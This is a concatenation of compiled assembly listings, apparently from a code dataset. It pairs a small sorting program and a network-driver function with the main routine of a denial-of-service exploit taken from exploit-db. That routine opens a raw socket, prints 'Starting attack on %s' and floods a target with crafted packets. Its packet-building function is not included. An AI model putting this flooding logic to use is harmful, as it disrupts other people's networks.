Depth=2 leal -1(%rcx), %r14d movslq %r10d, %rdi addq %r15, %rdi .p2align 4, 0x90 LBB0_6: ## Parent Loop BB0_1 Depth=1 ## Parent Loop BB0_3 Depth=2 ## => This Inner Loop Header: Depth=3 movzbl -1(%rdi), %eax decq %rdi decl %r10d cmpb %al, %r8b jl LBB0_6 ## %bb.7: ## in Loop: Header=BB0_3 Depth=2 leal 1(%r10), %r12d cmpl %r12d, %r14d jg LBB0_9 ## %bb.8: ## in Loop: Header=BB0_3 Depth=2 movb %al, -1(%rbx) movb %r9b, (%rdi) movl %r10d, %r12d movl %ecx, %r14d jmp LBB0_9 LBB0_13: addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__literal16,16byte_literals .p2align 4 ## -- Begin function main LCPI1_0: .byte 108 ## 0x6c .byte 99 ## 0x63 .byte 116 ## 0x74 .byte 107 ## 0x6b .byte 98 ## 0x62 .byte 115 ## 0x73 .byte 106 ## 0x6a .byte 97 ## 0x61 .byte 114 ## 0x72 .byte 105 ## 0x69 .byte 122 ## 0x7a .byte 113 ## 0x71 .byte 104 ## 0x68 .byte 121 ## 0x79 .byte 112 ## 0x70 .byte 103 ## 0x67 .section __TEXT,__text,regular,pure_instructions .globl _main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %rbx subq $40, %rsp .cfi_offset %rbx, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -32(%rbp) movq _eol@GOTPCREL(%rip), %r14 movw $10, (%r14) movq _n@GOTPCREL(%rip), %r15 movl $26, (%r15) movb $0, -38(%rbp) movaps LCPI1_0(%rip), %xmm0 ## xmm0 = [108,99,116,107,98,115,106,97,114,105,122,113,104,121,112,103] movaps %xmm0, -64(%rbp) movabsq $7887603322510012280, %rax ## imm = 0x6D76656E77666F78 movq %rax, -48(%rbp) movw $30052, -40(%rbp) ## imm = 0x7564 leaq -64(%rbp), %rbx movq %rbx, %rdi callq _putstring movq %r14, %rdi callq _putstring movl (%r15), %edx decl %edx movq %rbx, %rdi xorl %esi, %esi callq _sort movq %rbx, %rdi callq _putstring movq %r14, %rdi callq _putstring movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -32(%rbp), %rax jne LBB1_2 ## %bb.1: xorl %eax, %eax addq $40, %rsp popq %rbx popq %r14 popq %r15 popq %rbp retq LBB1_2: callq ___stack_chk_fail .cfi_endproc ## -- End function .comm _eol,2,0 ## @eol .comm _n,4,2 ## @n .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _sort ; -- Begin function sort .p2align 2 _sort: ; @sort .cfi_startproc ; %bb.0: stp x26, x25, [sp, #-80]! ; 16-byte Folded Spill .cfi_def_cfa_offset 80 stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 mov x19, x2 mov x22, x1 mov x20, x0 add x24, x0, #1 Lloh0: adrp x21, _eol@GOTPAGE Lloh1: ldr x21, [x21, _eol@GOTPAGEOFF] mov x25, x1 b LBB0_2 LBB0_1: ; in Loop: Header=BB0_2 Depth=1 mov x22, x25 cmp w25, w19 b.ge LBB0_13 LBB0_2: ; =>This Loop Header: Depth=1 ; Child Loop BB0_7 Depth 2 ; Child Loop BB0_8 Depth 3 ; Child Loop BB0_10 Depth 3 add w8, w22, w19 cmp w8, #0 cinc w8, w8, lt mov x23, x19 cmp w22, w19 b.le LBB0_5 LBB0_3: ; in Loop: Header=BB0_2 Depth=1 mov x0, x20 bl _putstring mov x0, x21 bl _putstring cmp w23, w22 b.le LBB0_1 ; %bb.4: ; in Loop: Header=BB0_2 Depth=1 mov x0, x20 mov x1, x22 mov x2, x23 bl _sort b LBB0_1 LBB0_5: ; in Loop: Header=BB0_2 Depth=1 asr w8, w8, #1 ldrsb w8, [x20, w8, sxtw] mov x25, x22 mov x9, x19 b LBB0_7 LBB0_6: ; in Loop: Header=BB0_7 Depth=2 mov x9, x23 cmp w25, w23 b.gt LBB0_3 LBB0_7: ; Parent Loop BB0_2 Depth=1 ; => This Loop Header: Depth=2 ; Child Loop BB0_8 Depth 3 ; Child Loop BB0_10 Depth 3 add x10, x20, w25, sxtw mov x11, x25 LBB0_8: ; Parent Loop BB0_2 Depth=1 ; Parent Loop BB0_7 Depth=2 ; => This Inner Loop Header: Depth=3 ldrsb w12, [x10], #1 add w11, w11, #1 cmp w12, w8 b.lt LBB0_8 ; %bb.9: ; in Loop: Header=BB0_7 Depth=2 sub w25, w11, #1 add x13, x24, w9, sxtw LBB0_10: ; Parent Loop BB0_2 Depth=1 ; Parent Loop BB0_7 Depth=2 ; => This Inner Loop Header: Depth=3 ldrsb w14, [x13, #-1]! sub w9, w9, #1 cmp w8, w14 b.lt LBB0_10 ; %bb.11: ; in Loop: Header=BB0_7 Depth=2 add w23, w9, #1 cmp w25, w23 b.gt LBB0_6 ; %bb.12: ; in Loop: Header=BB0_7 Depth=2 sturb w14, [x10, #-1] strb w12, [x13] mov x23, x9 mov x25, x11 b LBB0_6 LBB0_13: ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload ldp x26, x25, [sp], #80 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .section __TEXT,__literal16,16byte_literals .p2align 4 ; -- Begin function main lCPI1_0: .byte 108 ; 0x6c .byte 99 ; 0x63 .byte 116 ; 0x74 .byte 107 ; 0x6b .byte 98 ; 0x62 .byte 115 ; 0x73 .byte 106 ; 0x6a .byte 97 ; 0x61 .byte 114 ; 0x72 .byte 105 ; 0x69 .byte 122 ; 0x7a .byte 113 ; 0x71 .byte 104 ; 0x68 .byte 121 ; 0x79 .byte 112 ; 0x70 .byte 103 ; 0x67 .section __TEXT,__text,regular,pure_instructions .globl _main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 Lloh2: adrp x8, ___stack_chk_guard@GOTPAGE Lloh3: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh4: ldr x8, [x8] stur x8, [x29, #-24] Lloh5: adrp x19, _eol@GOTPAGE Lloh6: ldr x19, [x19, _eol@GOTPAGEOFF] mov w8, #10 strh w8, [x19] Lloh7: adrp x20, _n@GOTPAGE Lloh8: ldr x20, [x20, _n@GOTPAGEOFF] mov w8, #26 str w8, [x20] strb wzr, [sp, #26] Lloh9: adrp x8, lCPI1_0@PAGE Lloh10: ldr q0, [x8, lCPI1_0@PAGEOFF] str q0, [sp] mov x8, #28536 movk x8, #30566, lsl #16 movk x8, #25966, lsl #32 movk x8, #28022, lsl #48 str x8, [sp, #16] mov w8, #30052 strh w8, [sp, #24] mov x0, sp bl _putstring mov x0, x19 bl _putstring ldr w8, [x20] sub w2, w8, #1 mov x0, sp mov w1, #0 bl _sort mov x0, sp bl _putstring mov x0, x19 bl _putstring ldur x8, [x29, #-24] Lloh11: adrp x9, ___stack_chk_guard@GOTPAGE Lloh12: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh13: ldr x9, [x9] cmp x9, x8 b.ne LBB1_2 ; %bb.1: mov w0, #0 ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload add sp, sp, #80 ret LBB1_2: bl ___stack_chk_fail .loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13 .loh AdrpLdr Lloh9, Lloh10 .loh AdrpLdrGot Lloh7, Lloh8 .loh AdrpLdrGot Lloh5, Lloh6 .loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4 .cfi_endproc ; -- End function .comm _eol,2,0 ; @eol .comm _n,4,2 ; @n .subsections_via_symbols
the_stack_data/139688.c
stack
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $56, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rsi, %r15 movl %edi, %ebx movl $1, -56(%rbp) cmpl $2, %edi jg LBB0_2 ## %bb.1: xorl %eax, %eax callq _usage LBB0_2: movl $15000, %eax ## imm = 0x3A98 movq %rax, -48(%rbp) ## 8-byte Spill movl $20000, %eax ## imm = 0x4E20 movq %rax, -80(%rbp) ## 8-byte Spill movw $16384, %ax ## imm = 0x4000 movq %rax, -72(%rbp) ## 8-byte Spill movw $53, %ax movq %rax, -64(%rbp) ## 8-byte Spill leaq L_.str(%rip), %r14 leaq LJTI0_0(%rip), %r12 movq _optarg@GOTPCREL(%rip), %r13 jmp LBB0_3 .p2align 4, 0x90 LBB0_4: ## in Loop: Header=BB0_3 Depth=1 cmpl $-1, %eax je LBB0_11 LBB0_5: ## in Loop: Header=BB0_3 Depth=1 xorl %eax, %eax callq _usage LBB0_3: ## =>This Inner Loop Header: Depth=1 movl %ebx, %edi movq %r15, %rsi movq %r14, %rdx callq _getopt ## kill: def $eax killed $eax def $rax leal -100(%rax), %ecx cmpl $17, %ecx ja LBB0_4 ## %bb.6: ## in Loop: Header=BB0_3 Depth=1 movslq (%r12,%rcx,4), %rax addq %r12, %rax jmpq *%rax LBB0_8: ## in Loop: Header=BB0_3 Depth=1 movl (%r13), %edi callq _atoi movq %rax, -72(%rbp) ## 8-byte Spill jmp LBB0_3 LBB0_9: ## in Loop: Header=BB0_3 Depth=1 movl (%r13), %edi callq _atoi movq %rax, -48(%rbp) ## 8-byte Spill jmp LBB0_3 LBB0_7: ## in Loop: Header=BB0_3 Depth=1 movl (%r13), %edi callq _atoi movq %rax, -64(%rbp) ## 8-byte Spill jmp LBB0_3 LBB0_10: ## in Loop: Header=BB0_3 Depth=1 movl (%r13), %edi callq _atoi movq %rax, -80(%rbp) ## 8-byte Spill jmp LBB0_3 LBB0_11: movq _optind@GOTPCREL(%rip), %rax movq (%rax), %r12 movq (%r15,%r12,8), %rdi callq _resolve movq %rax, -96(%rbp) ## 8-byte Spill movq 8(%r15,%r12,8), %rdi callq _resolve movq %rax, -88(%rbp) ## 8-byte Spill xorl %edi, %edi callq _time movl %eax, %ebx xorl %eax, %eax callq _getpid imull %eax, %ebx movl %ebx, %edi callq _srandom movq _AF_INET@GOTPCREL(%rip), %rax movl (%rax), %edi movq _SOCK_RAW@GOTPCREL(%rip), %rax movl (%rax), %esi movq _IPPROTO_RAW@GOTPCREL(%rip), %rax movl (%rax), %edx callq _socket testl %eax, %eax jns LBB0_14 ## %bb.12: leaq L_.str.1(%rip), %rdi jmp LBB0_13 LBB0_14: movl %eax, %ebx movq _IPPROTO_IP@GOTPCREL(%rip), %rax movl (%rax), %esi movq _IP_HDRINCL@GOTPCREL(%rip), %rax movl (%rax), %edx leaq -56(%rbp), %rcx movl %ebx, %edi movl $4, %r8d callq _setsockopt testq %rax, %rax jns LBB0_16 ## %bb.15: leaq L_.str.2(%rip), %rdi LBB0_13: callq _perror movl $1, %edi callq _exit LBB0_16: movl %ebx, -52(%rbp) ## 4-byte Spill movq _stdout@GOTPCREL(%rip), %rax movl (%rax), %edi movq 8(%r15,%r12,8), %rdx leaq L_.str.3(%rip), %rsi xorl %eax, %eax callq _fprintf cmpl $0, -48(%rbp) ## 4-byte Folded Reload jle LBB0_25 ## %bb.17: movzwl -64(%rbp), %ebx ## 2-byte Folded Reload movzwl -72(%rbp), %r15d ## 2-byte Folded Reload xorl %r12d, %r12d jmp LBB0_18 .p2align 4, 0x90 LBB0_23: ## in Loop: Header=BB0_18 Depth=1 movq _stdout@GOTPCREL(%rip), %rbx movl (%rbx), %edi leaq L_.str.5(%rip), %rsi xorl %eax, %eax callq _fprintf movl (%rbx), %edi callq _fflush movl %r14d, %ebx LBB0_24: ## in Loop: Header=BB0_18 Depth=1 incl %r12d cmpl %r12d, -48(%rbp) ## 4-byte Folded Reload je LBB0_25 LBB0_18: ## =>This Inner Loop Header: Depth=1 movl %r12d, %r13d imulq $1374389535, %r13, %rax ## imm = 0x51EB851F shrq $37, %rax imull $100, %eax, %r14d movl %r12d, %edi callq _htonl movq -96(%rbp), %rcx ## 8-byte Reload leaq (%rax,%rcx), %rsi movl -52(%rbp), %edi ## 4-byte Reload movq -88(%rbp), %rdx ## 8-byte Reload movl %ebx, %ecx movl %r15d, %r8d callq _sendem testb $1, %r12b jne LBB0_20 ## %bb.19: ## in Loop: Header=BB0_18 Depth=1 movq -80(%rbp), %rdi ## 8-byte Reload ## kill: def $edi killed $edi killed $rdi callq _usleep LBB0_20: ## in Loop: Header=BB0_18 Depth=1 cmpl %r12d, %r14d jne LBB0_24 ## %bb.21: ## in Loop: Header=BB0_18 Depth=1 movl %ebx, %r14d imulq $274877907, %r13, %rax ## imm = 0x10624DD3 shrq $39, %rax imull $2000, %eax, %eax ## imm = 0x7D0 cmpl %r12d, %eax jne LBB0_23 ## %bb.22: ## in Loop: Header=BB0_18 Depth=1 movq _stdout@GOTPCREL(%rip), %rax movl (%rax), %edi leaq L_.str.4(%rip), %rsi xorl %eax, %eax callq _fprintf jmp LBB0_23 LBB0_25: movq _stdout@GOTPCREL(%rip), %rax movl (%rax), %edi leaq L_.str.6(%rip), %rsi xorl %eax, %eax callq _fprintf movl $1, %edi callq _exit .cfi_endproc .p2align 2, 0x90 .data_region jt32 .set L0_0_set_8, LBB0_8-LJTI0_0 .set L0_0_set_5, LBB0_5-LJTI0_0 .set L0_0_set_9, LBB0_9-LJTI0_0 .set L0_0_set_7, LBB0_7-LJTI0_0 .set L0_0_set_10, LBB0_10-LJTI0_0 LJTI0_0: .long L0_0_set_8 .long L0_0_set_5 .long L0_0_set_5 .long L0_0_set_5 .long L0_0_set_5 .long L0_0_set_5 .long L0_0_set_5 .long L0_0_set_5 .long L0_0_set_5 .long L0_0_set_5 .long L0_0_set_9 .long L0_0_set_5 .long L0_0_set_5 .long L0_0_set_5 .long L0_0_set_5 .long L0_0_set_7 .long L0_0_set_5 .long L0_0_set_10 .end_data_region ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "s:d:n:u:" .comm _optarg,4,2 ## @optarg .comm _optind,8,3 ## @optind .comm _AF_INET,4,2 ## @AF_INET .comm _SOCK_RAW,4,2 ## @SOCK_RAW .comm _IPPROTO_RAW,4,2 ## @IPPROTO_RAW L_.str.1: ## @.str.1 .asciz "socket" .comm _IPPROTO_IP,4,2 ## @IPPROTO_IP .comm _IP_HDRINCL,4,2 ## @IP_HDRINCL L_.str.2: ## @.str.2 .asciz "setsockopt: IP_HDRINCL" .comm _stdout,4,2 ## @stdout L_.str.3: ## @.str.3 .asciz "\nStarting attack on %s ..." L_.str.4: ## @.str.4 .asciz "\n" L_.str.5: ## @.str.5 .asciz "." L_.str.6: ## @.str.6 .asciz "\nDone.\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #128 .cfi_def_cfa_offset 128 stp x28, x27, [sp, #32] ; 16-byte Folded Spill stp x26, x25, [sp, #48] ; 16-byte Folded Spill stp x24, x23, [sp, #64] ; 16-byte Folded Spill stp x22, x21, [sp, #80] ; 16-byte Folded Spill stp x20, x19, [sp, #96] ; 16-byte Folded Spill stp x29, x30, [sp, #112] ; 16-byte Folded Spill add x29, sp, #112 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x23, x1 mov x24, x0 mov w8, #1 str w8, [sp, #28] cmp w0, #2 b.gt LBB0_2 ; %bb.1: bl _usage LBB0_2: mov w19, #15000 mov w28, #20000 mov w21, #16384 mov w22, #53 Lloh0: adrp x25, l_.str@PAGE Lloh1: add x25, x25, l_.str@PAGEOFF Lloh2: adrp x26, _optarg@GOTPAGE Lloh3: ldr x26, [x26, _optarg@GOTPAGEOFF] Lloh4: adrp x27, lJTI0_0@PAGE Lloh5: add x27, x27, lJTI0_0@PAGEOFF b LBB0_5 LBB0_3: ; in Loop: Header=BB0_5 Depth=1 cmn w0, #1 b.eq LBB0_11 LBB0_4: ; in Loop: Header=BB0_5 Depth=1 bl _usage LBB0_5: ; =>This Inner Loop Header: Depth=1 mov x0, x24 mov x1, x23 mov x2, x25 bl _getopt sub w8, w0, #100 cmp w8, #17 b.hi LBB0_3 ; %bb.6: ; in Loop: Header=BB0_5 Depth=1 adr x9, LBB0_4 ldrb w10, [x27, x8] add x9, x9, x10, lsl #2 br x9 LBB0_7: ; in Loop: Header=BB0_5 Depth=1 ldr w0, [x26] bl _atoi mov x21, x0 b LBB0_5 LBB0_8: ; in Loop: Header=BB0_5 Depth=1 ldr w0, [x26] bl _atoi mov x19, x0 b LBB0_5 LBB0_9: ; in Loop: Header=BB0_5 Depth=1 ldr w0, [x26] bl _atoi mov x22, x0 b LBB0_5 LBB0_10: ; in Loop: Header=BB0_5 Depth=1 ldr w0, [x26] bl _atoi mov x28, x0 b LBB0_5 LBB0_11: Lloh6: adrp x8, _optind@GOTPAGE Lloh7: ldr x8, [x8, _optind@GOTPAGEOFF] Lloh8: ldr x8, [x8] add x20, x23, x8, lsl #3 ldr x0, [x20] bl _resolve mov x23, x0 ldr x0, [x20, #8] bl _resolve mov x24, x0 mov w0, #0 bl _time mov x25, x0 bl _getpid mul w0, w0, w25 bl _srandom Lloh9: adrp x8, _AF_INET@GOTPAGE Lloh10: ldr x8, [x8, _AF_INET@GOTPAGEOFF] Lloh11: ldr w0, [x8] Lloh12: adrp x8, _SOCK_RAW@GOTPAGE Lloh13: ldr x8, [x8, _SOCK_RAW@GOTPAGEOFF] Lloh14: ldr w1, [x8] Lloh15: adrp x8, _IPPROTO_RAW@GOTPAGE Lloh16: ldr x8, [x8, _IPPROTO_RAW@GOTPAGEOFF] Lloh17: ldr w2, [x8] bl _socket tbz w0, #31, LBB0_13 ; %bb.12: Lloh18: adrp x0, l_.str.1@PAGE Lloh19: add x0, x0, l_.str.1@PAGEOFF b LBB0_15 LBB0_13: mov x25, x0 Lloh20: adrp x8, _IPPROTO_IP@GOTPAGE Lloh21: ldr x8, [x8, _IPPROTO_IP@GOTPAGEOFF] Lloh22: ldr w1, [x8] Lloh23: adrp x8, _IP_HDRINCL@GOTPAGE Lloh24: ldr x8, [x8, _IP_HDRINCL@GOTPAGEOFF] Lloh25: ldr w2, [x8] add x3, sp, #28 mov w4, #4 bl _setsockopt tbz x0, #63, LBB0_16 ; %bb.14: Lloh26: adrp x0, l_.str.2@PAGE Lloh27: add x0, x0, l_.str.2@PAGEOFF LBB0_15: bl _perror mov w0, #1 bl _exit LBB0_16: str x28, [sp, #16] ; 8-byte Folded Spill Lloh28: adrp x27, _stdout@GOTPAGE Lloh29: ldr x27, [x27, _stdout@GOTPAGEOFF] ldr w0, [x27] ldr x8, [x20, #8] str x8, [sp] Lloh30: adrp x1, l_.str.3@PAGE Lloh31: add x1, x1, l_.str.3@PAGEOFF bl _fprintf cmp w19, #1 b.lt LBB0_25 ; %bb.17: mov w26, #0 mov w28, #34079 movk w28, #20971, lsl #16 mov w20, #100 and w22, w22, #0xffff b LBB0_20 LBB0_18: ; in Loop: Header=BB0_20 Depth=1 ldr w0, [x27] Lloh32: adrp x1, l_.str.5@PAGE Lloh33: add x1, x1, l_.str.5@PAGEOFF bl _fprintf ldr w0, [x27] bl _fflush LBB0_19: ; in Loop: Header=BB0_20 Depth=1 add w26, w26, #1 cmp w19, w26 b.eq LBB0_25 LBB0_20: ; =>This Inner Loop Header: Depth=1 mov x0, x26 bl _htonl add x1, x0, x23 and w4, w21, #0xffff mov x0, x25 mov x2, x24 mov x3, x22 bl _sendem tbnz w26, #0, LBB0_22 ; %bb.21: ; in Loop: Header=BB0_20 Depth=1 ldr x0, [sp, #16] ; 8-byte Folded Reload ; kill: def $w0 killed $w0 killed $x0 bl _usleep LBB0_22: ; in Loop: Header=BB0_20 Depth=1 umull x8, w26, w28 lsr x8, x8, #37 mul w8, w8, w20 cmp w8, w26 b.ne LBB0_19 ; %bb.23: ; in Loop: Header=BB0_20 Depth=1 mov w8, #19923 movk w8, #4194, lsl #16 umull x8, w26, w8 lsr x8, x8, #39 mov w9, #2000 mul w8, w8, w9 cmp w8, w26 b.ne LBB0_18 ; %bb.24: ; in Loop: Header=BB0_20 Depth=1 ldr w0, [x27] Lloh34: adrp x1, l_.str.4@PAGE Lloh35: add x1, x1, l_.str.4@PAGEOFF bl _fprintf b LBB0_18 LBB0_25: ldr w0, [x27] Lloh36: adrp x1, l_.str.6@PAGE Lloh37: add x1, x1, l_.str.6@PAGEOFF bl _fprintf mov w0, #1 bl _exit .loh AdrpAdd Lloh4, Lloh5 .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpAdd Lloh0, Lloh1 .loh AdrpLdrGotLdr Lloh15, Lloh16, Lloh17 .loh AdrpLdrGotLdr Lloh12, Lloh13, Lloh14 .loh AdrpLdrGotLdr Lloh9, Lloh10, Lloh11 .loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8 .loh AdrpAdd Lloh18, Lloh19 .loh AdrpLdrGotLdr Lloh23, Lloh24, Lloh25 .loh AdrpLdrGotLdr Lloh20, Lloh21, Lloh22 .loh AdrpAdd Lloh26, Lloh27 .loh AdrpAdd Lloh30, Lloh31 .loh AdrpLdrGot Lloh28, Lloh29 .loh AdrpAdd Lloh32, Lloh33 .loh AdrpAdd Lloh34, Lloh35 .loh AdrpAdd Lloh36, Lloh37 .cfi_endproc .section __TEXT,__const lJTI0_0: .byte (LBB0_7-LBB0_4)>>2 .byte (LBB0_4-LBB0_4)>>2 .byte (LBB0_4-LBB0_4)>>2 .byte (LBB0_4-LBB0_4)>>2 .byte (LBB0_4-LBB0_4)>>2 .byte (LBB0_4-LBB0_4)>>2 .byte (LBB0_4-LBB0_4)>>2 .byte (LBB0_4-LBB0_4)>>2 .byte (LBB0_4-LBB0_4)>>2 .byte (LBB0_4-LBB0_4)>>2 .byte (LBB0_8-LBB0_4)>>2 .byte (LBB0_4-LBB0_4)>>2 .byte (LBB0_4-LBB0_4)>>2 .byte (LBB0_4-LBB0_4)>>2 .byte (LBB0_4-LBB0_4)>>2 .byte (LBB0_9-LBB0_4)>>2 .byte (LBB0_4-LBB0_4)>>2 .byte (LBB0_10-LBB0_4)>>2 ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "s:d:n:u:" .comm _optarg,4,2 ; @optarg .comm _optind,8,3 ; @optind .comm _AF_INET,4,2 ; @AF_INET .comm _SOCK_RAW,4,2 ; @SOCK_RAW .comm _IPPROTO_RAW,4,2 ; @IPPROTO_RAW l_.str.1: ; @.str.1 .asciz "socket" .comm _IPPROTO_IP,4,2 ; @IPPROTO_IP .comm _IP_HDRINCL,4,2 ; @IP_HDRINCL l_.str.2: ; @.str.2 .asciz "setsockopt: IP_HDRINCL" .comm _stdout,4,2 ; @stdout l_.str.3: ; @.str.3 .asciz "\nStarting attack on %s ..." l_.str.4: ; @.str.4 .asciz "\n" l_.str.5: ; @.str.5 .asciz "." l_.str.6: ; @.str.6 .asciz "\nDone.\n" .subsections_via_symbols
AnghaBench/exploitdb/exploits/linux/dos/extr_20566.c_main.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function ena_setup_io_intr _ena_setup_io_intr: ## @ena_setup_io_intr .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 cmpl $0, (%rdi) jle LBB0_3 ## %bb.1: movq %rdi, %r15 movq 32(%rdi), %rax movq %rax, -56(%rbp) ## 8-byte Spill xorl %r14d, %r14d xorl %ebx, %ebx .p2align 4, 0x90 LBB0_2: ## =>This Inner Loop Header: Depth=1 movl %ebx, %edi callq _ENA_IO_IRQ_IDX movl %eax, %r13d xorl %eax, %eax callq _num_online_cpus movl %eax, %ecx movl %ebx, %eax cltd idivl %ecx movl %edx, -44(%rbp) ## 4-byte Spill movq 8(%r15), %rax movslq %r13d, %r12 movq %r12, %r13 shlq $5, %r13 movl 28(%rax,%r13), %edi movq _ENA_IRQNAME_SIZE@GOTPCREL(%rip), %rax movl (%rax), %esi movq -56(%rbp), %rax ## 8-byte Reload movq (%rax), %rcx leaq L_.str(%rip), %rdx movl %ebx, %r8d callq _snprintf movq _ena_intr_msix_io@GOTPCREL(%rip), %rax movl (%rax), %eax movq 8(%r15), %rcx movl %eax, 24(%rcx,%r13) movq 24(%r15), %rax addq %r14, %rax movq %rax, 16(%rcx,%r13) movl 16(%r15), %edi movl %r12d, %esi callq _pci_irq_vector movq 8(%r15), %rcx movl %eax, 8(%rcx,%r13) movl -44(%rbp), %edi ## 4-byte Reload movl %edi, (%rcx,%r13) leaq (%rcx,%r13), %rsi addq $4, %rsi callq _cpumask_set_cpu incq %rbx movslq (%r15), %rax addq $4, %r14 cmpq %rax, %rbx jl LBB0_2 LBB0_3: addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _ENA_IRQNAME_SIZE,4,2 ## @ENA_IRQNAME_SIZE .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "%s-Tx-Rx-%d" .comm _ena_intr_msix_io,4,2 ## @ena_intr_msix_io .no_dead_strip _ena_setup_io_intr .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function ena_setup_io_intr _ena_setup_io_intr: ; @ena_setup_io_intr .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill .cfi_def_cfa_offset 96 stp x26, x25, [sp, #16] ; 16-byte Folded Spill stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 ldr w8, [x0] cmp w8, #1 b.lt LBB0_3 ; %bb.1: mov x19, x0 mov x24, #0 mov x20, #0 ldr x25, [x0, #32] Lloh0: adrp x26, _ENA_IRQNAME_SIZE@GOTPAGE Lloh1: ldr x26, [x26, _ENA_IRQNAME_SIZE@GOTPAGEOFF] Lloh2: adrp x21, l_.str@PAGE Lloh3: add x21, x21, l_.str@PAGEOFF Lloh4: adrp x27, _ena_intr_msix_io@GOTPAGE Lloh5: ldr x27, [x27, _ena_intr_msix_io@GOTPAGEOFF] LBB0_2: ; =>This Inner Loop Header: Depth=1 mov x0, x20 bl _ENA_IO_IRQ_IDX mov x22, x0 bl _num_online_cpus sdiv w8, w20, w0 msub w23, w8, w0, w20 ldr x8, [x19, #8] sbfiz x28, x22, #5, #32 add x8, x8, x28 ldr w0, [x8, #28] ldr w1, [x26] ldr x3, [x25] mov x2, x21 mov x4, x20 bl _snprintf ldr w8, [x27] ldr x9, [x19, #8] add x9, x9, x28 str w8, [x9, #24] ldr x8, [x19, #24] add x8, x8, x24 str x8, [x9, #16] ldr w0, [x19, #16] mov x1, x22 bl _pci_irq_vector ldr x8, [x19, #8] add x8, x8, x28 str w0, [x8, #8] str w23, [x8] add x1, x8, #4 mov x0, x23 bl _cpumask_set_cpu add x20, x20, #1 ldrsw x8, [x19] add x24, x24, #4 cmp x20, x8 b.lt 